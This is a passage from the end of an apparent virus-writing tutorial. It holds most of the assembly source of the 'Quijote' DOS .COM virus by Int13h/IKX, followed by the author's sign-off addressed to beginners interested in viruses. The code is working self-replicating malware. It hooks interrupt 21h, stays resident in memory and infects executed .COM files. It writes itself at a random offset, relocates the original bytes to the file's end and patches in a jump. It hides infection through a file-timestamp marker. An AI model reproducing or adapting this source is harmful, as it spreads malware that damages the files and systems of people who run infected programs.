        mov ax,word ptr ds:[12h]        ; the segment where load us
        mov es,ax

        push cs
        pop ds
	
        lea si,[bp+offset Quijote]
        xor di,di
        mov cx,Largor                   ; Copy
        rep movsb

        push es
        pop ds
        mov ax,2521h                    ; Hook the 21h
        mov dx,(offset Quijote21h-100h)
        int 21h

QuijoteIsAlreadySuckingMemory:
	push cs cs
	pop ds es

	lea si,[bp+offset Primitivos]
	mov di,100h
        push di                 ; Fix the 3 bytes of 100h and push it   
	cld
	movsw
	movsb
	
        lea si,[bp+offset Copier] ; Move the loader over the PSP
        mov di,06ch               ; offset 06Ch, over the FCB N 2
        mov ax,di                 ; Push this offset for jump later 
	mov cx,5
        repe movsw              ; Copy all the words of the code 
        movsb                   ; and the lagged behind byte :)
	
        mov cx,Largor           ; Sucker's size
        db 0beh                 ; Where the original bytes will be
	Origen  dw 0
        add si,100h             ; Because the PSP
        db 0bfh                 ; Original bytes at this location  
	Destino dw 0
        add di,100h             ; We have always to have an account in PSP
	xor bx,bx
        xor dx,dx               ; Clear the registers that we won't use     
        jmp ax                  ; And jump to the code sent to the PSP

Copier: repe movsb              ; Make the copy
        xor si,si               ; Clear si
        xor di,di               ; Clear di
        xor ax,ax               ; Clear ax
        xor cx,cx               ; Clear cx
        ret                     ; Execute host!

Quijote21h:
        cmp ax,'QJ'             ; Is Don Quijote de la Mancha alive?
	je Chequeo
        cmp ah,04bh             ; Execution?
        je InfectFile
Interrupcion_21h:
	db 0eah
	Vieja21h dw 0,0
	ret
Chequeo:mov ax,0cd13h
	iret

Brinco     db 0e9h,00h,00h
Primitivos db 090h,0cdh,020h

InfectFile:
        push ax bx cx dx si di ds es

	mov ax,3d02h
        int 21h                 ; Open victim
	jc Popeo
	xchg bx,ax

	mov ax,5700h
	int 21h
	mov word ptr cs:[(Hora-100h)],cx
	mov word ptr cs:[(Fecha-100h)],dx
	and cl,00011111b
        cmp cl,00011110b        ; 30*2= 60?
	je Closeo

        push cs cs
        pop ds es

	mov ah,03fh
	mov dx,(offset Primitivos-100h)
        mov cx,3                ; Read the first 3 bytes
	int 21h

	mov si,dx
	mov ax,[si]
	add ah,al
	cmp ah,167d
	je Closeo
	
        in ax,40h               ; Read port 40h
        mov word ptr [Semilla-100h],ax  ; Get the seed

	call PunteroFin

	and dx,dx
	jnz Closeo

        cmp ax,60000d           ; Big...
	ja Closeo

        cmp ax,2000d            ; Tiny...
	jbe Closeo

        push bx                 ; Save our file handle
	mov bx,ax
        sub bx,Largor           ; substract virus' size

        mov dx,132              ; Ask for our random offset
	mov ax,word ptr [Semilla-100h]
	mul dx                      
	add ax,1000                 
	mov di,6666
	adc dx,0                    
	div di                      
	mov ax,dx                   
	mul bx                      
	div di                      
	cmp ax,3
        jae Okis                ; Higher than 3 please
	mov ax,666
Okis:   mov word ptr [Semilla-100h],ax

	sub ax,3
	mov word ptr [Brinco-100h+1],ax
	add ax,3

        pop bx                  ; Restore the handle
	
	mov dx,ax
	push dx
        mov word ptr [Destino-100h],dx  ; Save position of later restore
        xor cx,cx               ; We go to the selected offset
	mov ax,4200h
	int 21h

	mov ah,3fh
	mov dx,offset Buffer-100h
        mov cx,Largor           ; Read our buffer in that portion
	int 21h

        call PunteroFin         ; Go to the end
	
        mov word ptr [Origen-100h],ax   ; Save position for restore

	mov ah,40h
	mov cx,Largor
        mov dx,offset Buffer-100h       ; Write at the end the portion
        int 21h                         ; that we are going to overwrite

        pop dx                          ; Offset where place the virus
	xor cx,cx
	mov ax,4200h
	int 21h
	
	mov ah,40h
	xor dx,dx
        mov cx,Largor                   ; Put the virus in the randomly   
        int 21h                         ; selected offset

        call PunteroInicio              ; Pointer at the beginning

	mov ah,40h
	mov cx,3
        mov dx,(offset Brinco-100h)     ; Write the jump to the virus
	int 21h

        db 0b9h                 ; mov cx, xx xx
        Hora dw 0               ; Restore time and date
	and cl,11100000b
        or cl,00011110b         ; 30*2=60!
        db 0bah                 ; mov dx, xx xx
	Fecha dw 0
	mov ax,5701h
	int 21h

Closeo: mov ah,3eh                      ; Close victim
	int 21h

Popeo:  pop es ds di si dx cx bx ax
	jmp Interrupcion_21h

PunteroInicio:
	mov ax,04200h
	jmp short Mover
PunteroFin:
	mov ax,04202h
Mover:  xor cx,cx
	cwd
	int 21h
	ret

db " [QUIJOTE Virus by Int13h] "

Omega:
Semilla dw 0
Buffer db Largor dup(0)
Final label byte

End Quijote
8<- [END] - - - - - - - - -<quijote.asm>- - - - - - - - - - - - - - - >8

Final Words

Uhhh!! At least we arrived at the end and i see the blessed CHR(26) get closer. This file was uncomplete for more than a year and a half at my hard disk, i had it there and i didn't want to finish it. I had thought make it more detailed and deep, but i have lost the urge. Because this i hardly added some more words, i checked it superficially and i'm launching it now. Nowadays the .COM are being forgotten, but there's always people that is beginning to be interested in viruses, and it's to them and for them that i've written this lines.

If you have any comment of all this, you can write me to the following address: int13h@antisocial.com

Greetings to all life creators of the Milky Way and a special thank to whoever that has taken the trouble of translate this file to english.
[* It's me! ;) - BB *]

Int13h/IKX